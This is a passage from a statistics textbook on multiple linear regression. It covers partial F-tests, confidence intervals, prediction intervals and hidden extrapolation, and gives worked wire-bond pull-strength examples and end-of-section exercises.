This sum of squares has r degrees of freedom. It is sometimes called the extra sum of squares due to $\boldsymbol{\beta}_1$. Note that $SS_R(\boldsymbol{\beta}_1|\boldsymbol{\beta}_2)$ is the increase in the regression sum of squares due to including the variables $x_1, x_2, \ldots, x_r$ in the model. Now $SS_R(\boldsymbol{\beta}_1|\boldsymbol{\beta}_2)$ is independent of MS_E, and the null hypothesis $\boldsymbol{\beta}_1 = \mathbf{0}$ may be tested by the statistic.

F Statistic for General Regression Test

$$F_0 = \frac{SS_R(\boldsymbol{\beta}_1|\boldsymbol{\beta}_2)/r}{MS_E} \tag{12-33}$$

If the computed value of the test statistic $f_0 > f_{\alpha,r,n-p}$, we reject H_0, concluding that at least one of the parameters in $\boldsymbol{\beta}_1$ is not zero and, consequently, at least one of the variables $x_1, x_2, \ldots, x_r$ in $\mathbf{X}_1$ contributes significantly to the regression model. Some authors call the test in Equation 12-33 a **partial F-test.**

The partial F-test is very useful. We can use it to measure the contribution of each individual regressor x_j as if it were the last variable added to the model by computing

$$SS_R(\beta_j|\beta_0, \beta_1, \ldots, \beta_{j-1}, \beta_{j+1}, \ldots, \beta_k), \qquad j = 1, 2, \ldots, k$$

This is the increase in the regression sum of squares due to adding x_j to a model that already includes $x_1, \ldots, x_{j-1}, x_{j+1}, \ldots, x_k$. The partial F-test is a more general procedure in that we can measure the effect of sets of variables. In Section 12-6.3 we show how the partial F-test plays a major role in *model building*—that is, in searching for the best set of regressor variables to use in the model.

EXAMPLE 12-6 Wire Bond Strength General Regression Test

Consider the wire bond pull-strength data in Example 12-1. We will investigate the contribution of two new variables, x_3 and x_4, to the model using the partial F-test approach. The new variables are explained at the end of this example. That is, we wish to test

$$H_0: \beta_3 = \beta_4 = 0 \qquad H_1: \beta_3 \neq 0 \text{ or } \beta_4 \neq 0$$

To test this hypothesis, we need the extra sum of squares due to β_3 and β_4 or

$$\begin{aligned} SS_R(\beta_4, \beta_3|\beta_2, \beta_1, \beta_0) &= SS_R(\beta_4, \beta_3, \beta_2, \beta_1, \beta_0) - SS_R(\beta_2, \beta_1, \beta_0) \\ &= SS_R(\beta_4, \beta_3, \beta_2, \beta_1|\beta_0) - SS_R(\beta_2, \beta_1|\beta_0) \end{aligned}$$

In Example 12-3 we calculated

$$SS_R(\beta_2, \beta_1|\beta_0) = \boldsymbol{\beta}'\mathbf{X}'\mathbf{y} - \frac{\left(\sum_{i=1}^{n} y_i\right)^2}{n} = 5990.7712 \text{ (two degrees of freedom)}$$

Also, Table 12-4 shows the Minitab output for the model with only x_1 and x_2 as predictors. In the analysis of variance table, we can see that $SS_R = 5990.8$ and this agrees with our calculation. In practice, the computer output would be used to obtain this sum of squares.

If we fit the model $Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_3 x_3 + \beta_4 x_4$, we can use the same matrix formula. Alternatively, we can look at SS_R from computer output for this model. The analysis of variance table for this model is shown in Table 12-11 and we see that

$$SS_R(\beta_4, \beta_3, \beta_2, \beta_1|\beta_0) = 6024.0 \text{ (four degrees of freedom)}$$

Therefore,

$$SS_R(\beta_4, \beta_3|\beta_2, \beta_1, \beta_0) = 6024.0 - 5990.8 = 33.2 \text{ (two degrees of freedom)}$$

This is the increase in the regression sum of squares due to adding x_3 and x_4 to a model already containing x_1 and x_2. To test H_0, calculate the test statistic

$$f_0 = \frac{SS_R(\beta_4, \beta_3|\beta_2, \beta_1, \beta_0)/2}{MS_E} = \frac{33.2/2}{4.1} = 4.05$$

Note that MS_E from the full model using x_1, x_2, x_3 and x_4 is used in the denominator of the test statistic. Because $f_{0.05,\,2,\,20} = 3.49$, we reject H_0 and conclude that at least one of the new variables contributes significantly to the model. Further analysis and tests will be needed to refine the model and determine if one or both of x_3 and x_4 are important.

The mystery of the new variables can now be explained. These are quadratic powers of the original predictors wire length and wire height. That is, $x_3 = x_1^2$ and $x_4 = x_2^2$. A test for quadratic terms is a common use of partial F-tests. With this information and the original data for x_1 and x_2, you can use computer software to reproduce these calculations. Multiple regression allows models to be extended in such a simple manner that the real meaning of x_3 and x_4 did not even enter into the test procedure. Polynomial models such as this are discussed further in Section 12-6.

If a partial F-test is applied to a single variable, it is equivalent to a t-test. To see this, consider the Minitab regression output for the wire bond pull strength in Table 12-4. Just below the analysis of variance summary in this table, the quantity labeled "'SeqSS"' shows the sum

Table 12-11 Regression Analysis: y versus x1, x2, x3, x4

The regression equation is y = 5.00 + 1.90 x1 + 0.0151 x2 + 0.0460 x3 − 0.000008 x4

Predictor	Coef	SE Coef	T	P
Constant	4.996	1.655	3.02	0.007
x1	1.9049	0.3126	6.09	0.000
x2	0.01513	0.01051	1.44	0.165
x3	0.04595	0.01666	2.76	0.012
x4	−0.00000766	0.00001641	−0.47	0.646

S = 2.02474 R−Sq = 98.7% R−Sq (adj) = 98.4%

Analysis of Variance

Source	DF	SS	MS	F	P
Regression	4	6024.0	1506.0	367.35	0.000
Residual Error	20	82.0	4.1		
Total	24	6105.9			

Source	DF	Seq SS
x1	1	5885.9
x2	1	104.9
x3	1	32.3
x4	1	0.9

of squares obtained by fitting x_1 alone (5885.9) and the sum of squares obtained by fitting x_2 after x_1 (104.9). In out notation, these are referred to as $SS_R(\beta_1|\beta_0)$ and $SS_R(\beta_2, \beta_1|\beta_0)$, respectively. Therefore, to test $H_0: \beta_2 = 0$, $H_1: \beta_2 \neq 0$ the partial F-test is

$$f_0 = \frac{SS_R(\beta_2|\beta_1, \beta_0)/1}{MS_E} = \frac{104.92}{5.24} = 20.2$$

where MS_E is the mean square for residual in the computer output in Table 12.4. This statistic should be compared to an F-distribution with 1 and 22 degrees of freedom in the numerator and denominator, respectively. From Table 12-4, the t-test for the same hypothesis is $t_0 = 4.48$. Note that $t_0^2 = 4.48^2 = 20.07 = f_0$, except for round-off error. Furthermore, the square of a t-random variable with ν degrees of freedom is an F-random variable with one and ν degrees of freedom. Consequently, the t-test provides an equivalent method to test a single variable for contribution to a model. Because the t-test is typically provided by computer output, it is the preferred method to test a single variable.

EXERCISES FOR SECTION 12-2

12-21. Consider the computer output below.

The regression equation is
Y = 254 + 2.77 x1 − 3.58 x2

Predictor	Coef	SE Coef	T	P
Constant	253.810	4.781	?	?
x1	2.7738	0.1846	15.02	?
x2	−3.5753	0.1526	?	?

S = 5.05756 R-Sq = ? R-Sq (adj) = 98.4%

Analysis of Variance

Source	DF	SS	MS	F	P
Regression	2	22784	11392	?	?
Residual Error	?	?	?		
Total	14	23091			

(a) Fill in the missing quantities. You may use bounds for the P-values.
(b) What conclusions can you draw about the significance of regression?
(c) What conclusions can you draw about the contributions of the individual regressors to the model?

12-22. You have fit a regression model with two regressors to a data set that has 20 observations. The total sum of squares is 1000 and the model sum of squares is 750.
(a) What is the value of R^2 for this model?
(b) What is the adjusted R^2 for this model?
(c) What is the value of the F-statistic for testing the significance of regression? What conclusions would you draw about this model if $\alpha = 0.05$? What if $\alpha = 0.01$?
(d) Suppose that you add a third regressor to the model and as a result the model sum of squares is now 785. Does it seem to you that adding this factor has improved the model?

12-23. Consider the regression model fit to the soil shear strength data in Exercise 12-1.
(a) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?
(b) Construct the t-test on each regression coefficient. What are your conclusions, using $\alpha = 0.05$? Calculate P-values.

12-24. Consider the absorption index data in Exercise 12-2. The total sum of squares for y is $SS_T = 742.00$.
(a) Test for significance of regression using $\alpha = 0.01$. What is the P-value for this test?
(b) Test the hypothesis H_0: $\beta_1 = 0$ versus H_1: $\beta_1 \neq 0$ using $\alpha = 0.01$. What is the P-value for this test?
(c) What conclusion can you draw about the usefulness of x_1 as a regressor in this model?

12-25. A regression model $Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_3 x_3 + \epsilon$ has been fit to a sample of $n = 25$ observations. The calculated t-ratios $\hat{\beta}_j/se(\hat{\beta}_j)$, $j = 1, 2, 3$ are as follows: for β_1, $t_0 = 4.82$, for β_2, $t_0 = 8.21$ and for β_3, $t_0 = 0.98$.
(a) Find P-values for each of the t-statistics.
(b) Using $\alpha = 0.05$, what conclusions can you draw about the regressor x_3? Does it seem likely that this regressor contributes significantly to the model?

12-26. Consider the electric power consumption data in Exercise 12-6.
(a) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?
(b) Use the t-test to assess the contribution of each regressor to the model. Using $\alpha = 0.05$, what conclusions can you draw?

12-27. Consider the gasoline mileage data in Exercise 12-7.
(a) Test for significance of regression using $\alpha = 0.05$. What conclusions can you draw?
(b) Find the t-test statistic for each regressor. Using $\alpha = 0.05$, what conclusions can you draw? Does each regressor contribute to the model?

12-28. Consider the wire bond pull strength data in Exercise 12-8.

(a) Test for significance of regression using $\alpha = 0.05$. Find the P-value for this test. What conclusions can you draw?

(b) Calculate the t-test statistic for each regression coefficient. Using $\alpha = 0.05$, what conclusions can you draw? Do all variables contribute to the model?

12-29. Reconsider the semiconductor data in Exercise 12-9.

(a) Test for significance of regression using $\alpha = 0.05$. What conclusions can you draw?

(b) Calculate the t-test statistic and P-value for each regression coefficient. Using $\alpha = 0.05$, what conclusions can you draw?

12-30. Consider the regression model fit to the arsenic data in Exercise 12-12. Use arsenic in nails as the response and age, drink use, and cook use as the regressors.

(a) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?

(b) Construct a t-test on each regression coefficient. What conclusions can you draw about the variables in this model? Use $\alpha = 0.05$.

12-31. Consider the regression model fit to the X-ray inspection data in Exercise 12-11. Use rads as the response.

(a) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?

(b) Construct a t-test on each regression coefficient. What conclusions can you draw about the variables in this model? Use $\alpha = 0.05$.

12-32. Consider the regression model fit to the nisin extraction data in Exercise 12-14. Use nisin extraction as the response.

(a) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?

(b) Construct a t-test on each regression coefficient. What conclusions can you draw about the variables in this model? Use $\alpha = 0.05$.

(c) Comment on the effect of a small sample size to the tests in the previous parts.

12-33. Consider the regression model fit to the grey range modulation data in Exercise 12-15. Use the useful range as the response.

(a) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?

(b) Construct a t-test on each regression coefficient. What conclusions can you draw about the variables in this model? Use $\alpha = 0.05$.

12-34. Consider the regression model fit to the stack loss data in Exercise 12-16. Use stack loss as the response.

(a) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?

(b) Construct a t-test on each regression coefficient. What conclusions can you draw about the variables in this model? Use $\alpha = 0.05$.

12-35. Consider the NFL data in Exercise 12-17.

(a) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?

(b) Conduct the t-test for each regression coefficient. Using $\alpha = 0.05$, what conclusions can you draw about the variables in this model?

(c) Find the amount by which the regressor x_2 (TD percentage) increases the regression sum of squares, and conduct an F-test for H_0: $\beta_2 = 0$ versus H_1: $\beta_2 \neq 0$ using $\alpha = 0.05$. What is the P-value for this test? What conclusions can you draw?

12-36. Exercise 12-10 presents data on heat treating gears.

(a) Test the regression model for significance of regression. Using $\alpha = 0.05$, find the P-value for the test and draw conclusions.

(b) Evaluate the contribution of each regressor to the model using the t-test with $\alpha = 0.05$.

(c) Fit a new model to the response PITCH using new regressors x_1 = SOAKTIME $\times$ SOAKPCT and x_2 = DIFFTIME $\times$ DIFFPCT.

(d) Test the model in part (c) for significance of regression using $\alpha = 0.05$. Also calculate the t-test for each regressor and draw conclusions.

(e) Estimate σ^2 for the model from part (c) and compare this to the estimate of σ^2 for the model in part (a). Which estimate is smaller? Does this offer any insight regarding which model might be preferable?

12-37. Consider the bearing wear data in Exercise 12-19.

(a) For the model with no interaction, test for significance of regression using $\alpha = 0.05$. What is the P-value for this test? What are your conclusions?

(b) For the model with no interaction, compute the t-statistics for each regression coefficient. Using $\alpha = 0.05$, what conclusions can you draw?

(c) For the model with no interaction, use the extra sum of squares method to investigate the usefulness of adding x_2 = load to a model that already contains x_1 = oil viscosity. Use $\alpha = 0.05$.

(d) Refit the model with an interaction term. Test for significance of regression using $\alpha = 0.05$.

(e) Use the extra sum of squares method to determine whether the interaction term contributes significantly to the model. Use $\alpha = 0.05$.

(f) Estimate σ^2 for the interaction model. Compare this to the estimate of σ^2 from the model in part (a).

12-38. Data on National Hockey League team performance was presented in Exercise 12-18.

(a) Test the model from this exercise for significance of regression using $\alpha = 0.05$. What conclusions can you draw?

(b) Use the t-test to evaluate the contribution of each regressor to the model. Does it seem that all regressors are necessary? Use $\alpha = 0.05$.

(c) Fit a regression model relating the number of games won to the number of goals for and the number of power play goals

for. Does this seem to be a logical choice of regressors, considering your answer to part (b)? Test this new model for significance of regression and evaluate the contribution of each regressor to the model using the t-test. Use $\alpha = 0.05$.

12-39. Data from a hospital patient satisfaction survey were presented in Exercise 12-5.

(a) Test the model from this exercise for significance of regression. What conclusions can you draw if $\alpha = 0.05$? What if $\alpha = 0.01$?

(b) Test the contribution of the individual regressors using the t-test. Does it seem that all regressors used in the model are really necessary?

12-40. Data from a hospital patient satisfaction survey were presented in Exercise 12-5.

(a) Fit a regression model using only the patient age and severity regressors. Test the model from this exercise for significance of regression. What conclusions can you draw if $\alpha = 0.05$? What if $\alpha = 0.01$?

(b) Test the contribution of the individual regressors using the t-test. Does it seem that all regressors used in the model are really necessary?

(c) Find an estimate of the error variance σ^2. Compare this estimate of σ^2 with the estimate obtained from the model containing the third regressor, anxiety. Which estimate is smaller? Does this tell you anything about which model might be preferred?

12-3 CONFIDENCE INTERVALS IN MULTIPLE LINEAR REGRESSION

12-3.1 Confidence Intervals on Individual Regression Coefficients

In multiple regression models, it is often useful to construct confidence interval estimates for the regression coefficients $\{\beta_j\}$. The development of a procedure for obtaining these confidence intervals requires that the errors $\{\epsilon_i\}$ are normally and independently distributed with mean zero and variance σ^2. This is the same assumption required in hypothesis testing. Therefore, the observations $\{Y_i\}$ are normally and independently distributed with mean $\beta_0 + \sum_{j=1}^{k} \beta_j x_{ij}$ and variance σ^2. Since the least squares estimator $\hat{\boldsymbol{\beta}}$ is a linear combination of the observations, it follows that $\hat{\boldsymbol{\beta}}$ is normally distributed with mean vector $\boldsymbol{\beta}$ and covariance matrix $\sigma^2(\mathbf{X}'\mathbf{X})^{-1}$. Then each of the statistics

$$T = \frac{\hat{\beta}_j - \beta_j}{\sqrt{\hat{\sigma}^2 C_{jj}}} \qquad j = 0, 1, \ldots, k \tag{12-34}$$

has a t distribution with $n - p$ degrees of freedom, where C_{jj} is the jjth element of the $(\mathbf{X}'\mathbf{X})^{-1}$ matrix, and $\hat{\sigma}^2$ is the estimate of the error variance, obtained from Equation 12-16. This leads to the following $100(1 - \alpha)\%$ confidence interval for the regression coefficient β_j, $j = 0, 1, \ldots, k$.

Confidence Interval on a Regression Coefficient

A $100(1 - \alpha)\%$ **confidence interval on the regression coefficient** β_j, $j = 0, 1, \ldots, k$ in the multiple linear regression model is given by

$$\hat{\beta}_j - t_{\alpha/2,n-p}\sqrt{\hat{\sigma}^2 C_{jj}} \le \beta_j \le \hat{\beta}_j + t_{\alpha/2,n-p}\sqrt{\hat{\sigma}^2 C_{jj}} \tag{12-35}$$

Because $\sqrt{\hat{\sigma}^2 C_{jj}}$ is the standard error of the regression coefficient $\hat{\beta}_j$, we would also write the CI formula as $\hat{\beta}_j - t_{\alpha/2,n-p}\, se(\hat{\beta}_j) \le \beta_j \le \hat{\beta}_j + t_{\alpha/2,n-p}\, se(\hat{\beta}_j)$.

EXAMPLE 12-7 Wire Bond Strength Confidence Interval

We will construct a 95% confidence interval on the parameter β_1 in the wire bond pull strength problem. The point estimate of β_1 is $\hat{\beta}_1 = 2.74427$ and the diagonal element of $(\mathbf{X}'\mathbf{X})^{-1}$ corresponding to β_1 is $C_{11} = 0.001671$. The estimate of σ^2 is $\hat{\sigma}^2 = 5.2352$, and $t_{0.025,22} = 2.074$. Therefore, the 95% CI on β_1 is computed from Equation 12-35 as

$$2.74427 - (2.074)\sqrt{(5.2352)(.001671)} \le \beta_1 \le 2.74427 + (2.074)\sqrt{(5.2352)(.001671)}$$

which reduces to

$$2.55029 \le \beta_1 \le 2.93825$$

Also, computer software such as Minitab can be used to help calculate this confidence interval. From the regression output in Table 10-4, $\hat{\beta}_1 = 2.74427$ and the standard error of $\hat{\beta}_1 = 0.0935$. This standard error is the multiplier of the t-table constant in the confidence interval. That is, $0.0935 = \sqrt{(5.2352)(0.001671)}$. Consequently, all the numbers are available from the computer output to construct the interval and this is the typical method used in practice.

12-3.2 Confidence Interval on the Mean Response

We may also obtain a confidence interval on the mean response at a particular point, say, $x_{01}, x_{02}, \ldots, x_{0k}$. To estimate the mean response at this point, define the vector

$$\mathbf{x}_0 = \begin{bmatrix} 1 \\ x_{01} \\ x_{02} \\ \vdots \\ x_{0k} \end{bmatrix}$$

The mean response at this point is $E(Y|\mathbf{x}_0) = \mu_{Y|\mathbf{x}_0} = \mathbf{x}_0'\boldsymbol{\beta}$, which is estimated by

$$\hat{\mu}_{Y|\mathbf{x}_0} = \mathbf{x}_0'\hat{\boldsymbol{\beta}} \tag{12-36}$$

This estimator is unbiased, since $E(\mathbf{x}_0'\hat{\boldsymbol{\beta}}) = \mathbf{x}_0'\boldsymbol{\beta} = E(Y|\mathbf{x}_0) = \mu_{Y|\mathbf{x}_0}$ and the variance of $\hat{\mu}_{Y|\mathbf{x}_0}$ is

$$V(\hat{\mu}_{Y|\mathbf{x}_0}) = \sigma^2\mathbf{x}_0'(\mathbf{X}'\mathbf{X})^{-1}\mathbf{x}_0 \tag{12-37}$$

A $100(1-\alpha)$ % CI on $\mu_{Y|\mathbf{x}_0}$ can be constructed from the statistic

$$\frac{\hat{\mu}_{Y|\mathbf{x}_0} - \mu_{Y|\mathbf{x}_0}}{\sqrt{\hat{\sigma}^2\mathbf{x}_0'(\mathbf{X}'\mathbf{X})^{-1}\mathbf{x}_0}} \tag{12-38}$$

Confidence Interval on the Mean Response

For the multiple linear regression model, a $100(1-\alpha)$% **confidence interval on the mean response** at the point $x_{01}, x_{02}, \ldots, x_{0k}$ is

$$\hat{\mu}_{Y|\mathbf{x}_0} - t_{\alpha/2,n-p}\sqrt{\hat{\sigma}^2\mathbf{x}_0'(\mathbf{X}'\mathbf{X})^{-1}\mathbf{x}_0} \le \mu_{Y|\mathbf{x}_0} \le \hat{\mu}_{Y|\mathbf{x}_0} + t_{\alpha/2,n-p}\sqrt{\hat{\sigma}^2\mathbf{x}_0'(\mathbf{X}'\mathbf{X})^{-1}\mathbf{x}_0} \tag{12-39}$$

Equation 12-39 is a CI about the regression plane (or hyperplane). It is the multiple regression generalization of Equation 11-32.

EXAMPLE 12-8 Wire Bond Strength Confidence Interval on the Mean Response

The engineer in Example 12-1 would like to construct a 95% CI on the mean pull strength for a wire bond with wire length $x_1 = 8$ and die height $x_2 = 275$. Therefore,

$$\mathbf{x}_0 = \begin{bmatrix} 1 \\ 8 \\ 275 \end{bmatrix}$$

The estimated mean response at this point is found from Equation 12-36 as

$$\hat{\mu}_{Y|\mathbf{x}_0} = \mathbf{x}_0'\hat{\boldsymbol{\beta}} = [1 \quad 8 \quad 275]\begin{bmatrix} 2.26379 \\ 2.74427 \\ 0.01253 \end{bmatrix} = 27.66$$

The variance of $\hat{\mu}_{Y|\mathbf{x}_0}$ is estimated by

$$\hat{\sigma}^2\mathbf{x}_0'(\mathbf{X}'\mathbf{X})^{-1}\mathbf{x}_0 = 5.2352\,[1\ 8\ 275]$$
$$\times \begin{bmatrix} .214653 & -.007491 & -.000340 \\ -.007491 & .001671 & -.000019 \\ -.000340 & -.000019 & .0000015 \end{bmatrix}\begin{bmatrix} 1 \\ 8 \\ 275 \end{bmatrix}$$
$$= 5.2352\,(0.0444) = 0.23244$$

Therefore, a 95% CI on the mean pull strength at this point is found from Equation 12-39 as

$$27.66 - 2.074\sqrt{0.23244} \le \mu_{Y|\mathbf{x}_0} \le 27.66 + 2.074\sqrt{0.23244}$$

which reduces to

$$26.66 \le \mu_{Y|\mathbf{x}_0} \le 28.66$$

Some computer software packages will provide estimates of the mean for a point of interest $\mathbf{x}_0$ and the associated CI. Table 12-4 shows the Minitab output for Example 12-8. Both the estimate of the mean and the 95% CI are provided.

12-4 PREDICTION OF NEW OBSERVATIONS

A regression model can be used to predict new or **future observations** on the response variable Y corresponding to particular values of the independent variables, say, $x_{01}, x_{02}, \ldots, x_{0k}$. If $\mathbf{x}_0' = [1, x_{01}, x_{02}, \ldots, x_{0k}]$, a point estimate of the future observation Y_0 at the point $x_{01}, x_{02}, \ldots, x_{0k}$ is

$$\hat{y}_0 = \mathbf{x}_0'\hat{\boldsymbol{\beta}} \tag{12-40}$$

Prediction Interval

A $100(1-\alpha)\%$ **prediction interval for this future observation** is

$$\hat{y}_0 - t_{\alpha/2,n-p}\sqrt{\hat{\sigma}^2(1 + \mathbf{x}_0'(\mathbf{X}'\mathbf{X})^{-1}\mathbf{x}_0)} \le Y_0 \le \hat{y}_0 + t_{\alpha/2,n-p}\sqrt{\hat{\sigma}^2(1 + \mathbf{x}_0'(\mathbf{X}'\mathbf{X})^{-1}\mathbf{x}_0)} \tag{12-41}$$

This prediction interval is a generalization of the prediction interval given in Equation 11-33 for a future observation in simple linear regression. If you compare the prediction interval Equation 12-41 with the expression for the confidence interval on the mean, Equation 12-39,

Figure 12-5 An example of extrapolation in multiple regression.

you will observe that the prediction interval is always wider than the confidence interval. The confidence interval expresses the error in estimating the mean of a distribution, while the prediction interval expresses the error in predicting a future observation from the distribution at the point $\mathbf{x}_0$. This must include the error in estimating the mean at that point, as well as the inherent variability in the random variable Y at the same value $\mathbf{x} = \mathbf{x}_0$.

Also, one might want to predict the mean of several values of Y, say m, all at the same value $\mathbf{x} = \mathbf{x}_0$. Because the variance of a sample mean is σ^2/m, Equation 12-41 is modified as follows. Replace the constant 1 under the square root with $1/m$ to reflect the lower variability in the mean of m observations. This results in a narrower interval.

In predicting new observations and in estimating the mean response at a given point $x_{01}, x_{02}, \ldots, x_{0k}$, we must be careful about **extrapolating** beyond the region containing the original observations. It is very possible that a model that fits well in the region of the original data will no longer fit well outside of that region. In multiple regression it is often easy to inadvertently extrapolate, since the levels of the variables $(x_{i1}, x_{i2}, \ldots, x_{ik})$, $i = 1, 2, \ldots, n$, jointly define the region containing the data. As an example, consider Fig. 12-5, which illustrates the region containing the observations for a two-variable regression model. Note that the point (x_{01}, x_{02}) lies within the ranges of both regressor variables x_1 and x_2, but it is outside the region that is actually spanned by the original observations. This is sometimes called a **hidden extrapolation.** Either predicting the value of a new observation or estimating the mean response at this point is an extrapolation of the original regression model.

EXAMPLE 12-9 Wire Bond Strength Confidence Interval

Suppose that the engineer in Example 12-1 wishes to construct a 95% prediction interval on the wire bond pull strength when the wire length is $x_1 = 8$ and the die height is $x_2 = 275$. Note that $\mathbf{x}_0' = [1 \quad 8 \quad 275]$, and the point estimate of the pull strength is $\hat{y}_0 = \mathbf{x}_0'\hat{\boldsymbol{\beta}} = 27.66$. Also, in Example 12-8 we calculated $\mathbf{x}_0'(\mathbf{X}'\mathbf{X})^{-1}\mathbf{x}_0 = 0.04444$. Therefore, from Equation 12-41 we have

$$27.66 - 2.074\sqrt{5.2352(1 + 0.0444)} \le Y_0 \le 27.66 + 2.074\sqrt{5.2352(1 + 0.0444)}$$

and the 95% prediction interval is

$$22.81 \le Y_0 \le 32.51$$

Notice that the prediction interval is wider than the confidence interval on the mean response at the same point, calculated in Example 12-8. The Minitab output in Table 12-4 also displays this prediction interval.

EXERCISES FOR SECTIONS 12-3 AND 12-4

12-41. Consider the regression model fit to the shear strength of soil in Exercise 12-1.
(a) Calculate 95% confidence intervals on each regression coefficient.
(b) Calculate a 95% confidence interval on mean strength when $x_1 = 18$ feet and $x_2 = 43\%$.
(c) Calculate 95% prediction interval on strength for the same values of the regressors used in the previous part.

12-42. Consider the soil absorption data in Exercise 12-2.
(a) Find 95% confidence intervals on the regression coefficients.
(b) Find a 95% confidence interval on mean soil absorption index when $x_1 = 200$ and $x_2 = 50$.
(c) Find a 95% prediction interval on the soil absorption index when $x_1 = 200$ and $x_2 = 50$.

12-43. Consider the semiconductor data in Exercise 12-9.
(a) Find 99% confidence intervals on the regression coefficients.
(b) Find a 99% prediction interval on HFE when $x_1 = 14.5$, $x_2 = 220$, and $x_3 = 5.0$.
(c) Find a 99% confidence interval on mean HFE when $x_1 = 14.5$, $x_2 = 220$, and $x_3 = 5.0$.

12-44. Consider the electric power consumption data in Exercise 12-6.
(a) Find 95% confidence intervals on β_1, β_2, β_3, and β_4.
(b) Find a 95% confidence interval on the mean of Y when $x_1 = 75$, $x_2 = 24$, $x_3 = 90$, and $x_4 = 98$.
(c) Find a 95% prediction interval on the power consumption when $x_1 = 75$, $x_2 = 24$, $x_3 = 90$, and $x_4 = 98$.

12-45. Consider the bearing wear data in Exercise 12-19.
(a) Find 99% confidence intervals on β_1 and β_2.
(b) Recompute the confidence intervals in part (a) after the interaction term x_1x_2 is added to the model. Compare the lengths of these confidence intervals with those computed in part (a). Do the lengths of these intervals provide any information about the contribution of the interaction term in the model?

12-46. Consider the wire bond pull strength data in Exercise 12-8.
(a) Find 95% confidence interval on the regression coefficients.
(b) Find a 95% confidence interval on mean pull strength when $x_2 = 20$, $x_3 = 30$, $x_4 = 90$, and $x_5 = 2.0$.
(c) Find a 95% prediction interval on pull strength when $x_2 = 20$, $x_3 = 30$, $x_4 = 90$, and $x_5 = 2.0$.

12-47. Consider the regression model fit to the X-ray inspection data in Exercise 12-11. Use rads as the response.
(a) Calculate 95% confidence intervals on each regression coefficient.
(b) Calculate a 99% confidence interval on mean rads at 15 milliamps and 1 second on exposure time.
(c) Calculate a 99% prediction interval on rads for the same values of the regressors used in the previous part.

12-48. Consider the regression model fit to the arsenic data in Exercise 12-12. Use arsenic in nails as the response and age, drink use, and cook use as the regressors.
(a) Calculate 99% confidence intervals on each regression coefficient.
(b) Calculate a 99% confidence interval on mean arsenic concentration in nails when age = 30, drink use = 4, and cook use = 4.
(c) Calculate a prediction interval on arsenic concentration in nails for the same values of the regressors used in the previous part.

12-49. Consider the regression model fit to the coal and limestone mixture data in Exercise 12-13. Use density as the response.
(a) Calculate 90% confidence intervals on each regression coefficient.
(b) Calculate a 90% confidence interval on mean density when the dielectric constant = 2.3 and the loss factor = 0.025.
(c) Calculate a prediction interval on density for the same values of the regressors used in the previous part.

12-50. Consider the regression model fit to the nisin extraction data in Exercise 12-14.
(a) Calculate 95% confidence intervals on each regression coefficient.
(b) Calculate a 95% confidence interval on mean nisin extraction when $x_1 = 15.5$ and $x_2 = 16$.
(c) Calculate a prediction interval on nisin extraction for the same values of the regressors used in the previous part.
(d) Comment on the effect of a small sample size to the widths of these intervals.

12-51. Consider the regression model fit to the grey range modulation data in Exercise 12-15. Use the useful range as the response.
(a) Calculate 99% confidence intervals on each regression coefficient.
(b) Calculate a 99% confidence interval on mean useful range when brightness = 70 and contrast = 80.
(c) Calculate a prediction interval on useful range for the same values of the regressors used in the previous part.
(d) Calculate a 99% confidence interval and a 99% a prediction interval on useful range when brightness = 50 and contrast = 25. Compare the widths of these intervals to those calculated in parts (b) and (c). Explain any differences in widths.

12-52. Consider the stack loss data in Exercise 12-16.
(a) Calculate 95% confidence intervals on each regression coefficient.
(b) Calculate a 95% confidence interval on mean stack loss when $x_1 = 80$, $x_2 = 25$ and $x_3 = 90$.
(c) Calculate a prediction interval on stack loss for the same values of the regressors used in the previous part.

(d) Calculate a 95% confidence interval and a 95% prediction interval on stack loss when $x_1 = 80$, $x_2 = 19$, and $x_3 = 93$. Compare the widths of these intervals to those calculated in parts (b) and (c). Explain any differences in widths.

12-53. Consider the NFL data in Exercise 12-17.

(a) Find 95% confidence intervals on the regression coefficients.

(b) What is the estimated standard error of $\hat{\mu}_{Y|\mathbf{x}_0}$ when the percentage of completions is 60%, the percentage of TDs is 4%, and the percentage of interceptions is 3%.

(c) Find a 95% confidence interval on the mean rating when the percentage of completions is 60%, the percentage of TDs is 4%, and the percentage of interceptions is 3%.

12-54. Consider the heat treating data from Exercise 12-10.

(a) Find 95% confidence intervals on the regression coefficients.

(b) Find a 95% confidence interval on mean PITCH when TEMP = 1650, SOAKTIME = 1.00, SOAKPCT = 1.10, DIFFTIME = 1.00, and DIFFPCT = 0.80.

(c) Fit a model to PITCH using regressors x_1 = SOAKTIME × SOAKPCT and x_2 = DIFFTIME × DIFFPCT. Using the model with regressors x_1 and x_2, find a 95% confidence interval on mean PITCH when SOAKTIME = 1.00, SOAKPCT = 1.10, DIFFTIME = 1.00, and DIFFPCT = 0.80.

(d) Compare the length of this confidence interval with the length of the confidence interval on mean PITCH at the same point from part (b), where an additive model in SOAKTIME, SOAKPCT, DIFFTIME, and DIFFPCT was used. Which confidence interval is shorter? Does this tell you anything about which model is preferable?

12-55. Consider the gasoline mileage data in Exercise 12-7.

(a) Find 99% confidence intervals on the regression coefficients.

(b) Find a 99% confidence interval on the mean of Y for the regressor values in the first row of data.

(c) Fit a new regression model to these data using *cid*, *etw*, and *axle* as the regressors. Find 99% confidence intervals on the regression coefficients in this new model.

(d) Compare the lengths of the confidence intervals from part (c) with those found in part (a). Which intervals are longer? Does this offer any insight about which model is preferable?

12-56. Consider the NHL data in Exercise 12-18.

(a) Find a 95% confidence interval on the regression coefficient for the variable *GF*.

(b) Fit a simple linear regression model relating the response variable W to the regressor *GF*.

(c) Find a 95% confidence interval on the slope for the simple linear regression model from part (b).

(d) Compare the lengths of the two confidence intervals computed in parts (a) and (c). Which interval is shorter? Does this tell you anything about which model is preferable?

12-5 MODEL ADEQUACY CHECKING

12-5.1 Residual Analysis

